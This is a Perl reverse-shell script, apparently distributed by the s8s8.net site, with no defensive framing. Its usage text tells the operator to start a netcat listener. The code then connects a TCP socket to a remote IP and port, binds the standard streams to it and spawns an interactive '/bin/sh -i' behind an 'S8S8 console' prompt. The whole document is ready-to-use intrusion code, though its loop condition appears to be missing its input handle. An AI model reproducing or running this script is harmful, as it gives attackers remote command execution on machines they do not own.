if ( @ARGV < 1 ) { print <<"EOF"; usage: nc -l -p PORT(default 66666) on your local system first,then Perl $0 Remote IP Remote_port(default 66666) Type 'quit' to exit or press Enter to gain shell when u under the 'S8S8 console'. Enjoy ur shell! Welcome to http://www.s8s8.net EOF exit; } my $remote = $ARGV[0]; my $remote_port = $ARGV[1] || 66666; my $proto = getprotobyname('tcp'); my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote) ); my $path = cwd(); my $shell = '/bin/sh -i';
socket( SOCK, AF_INET, SOCK_STREAM, $proto ) || die "socket error: $!"; STDOUT->autoflush(1); SOCK->autoflush(1); connect( SOCK, $pack_addr ) || die "connection error : $!"; open STDIN, ">&SOCK"; open STDOUT, ">&SOCK"; open STDERR, ">&SOCK"; print "You are in $path\n"; print "Welcome to www.s8s8.net\nEnjoy ur shell.\n\n[S8S8 console]>";
while () { chomp; if ( lc($_) eq 'quit' ) { print "\nWelcome to www.s8s8.net"; print "\nByeBye~~~!\n"; exit; } elsif ($_) { system($shell); print "\n[S8S8 console]>"; } else { print "\n[S8S8 console]>"; } } close SOCK; exit;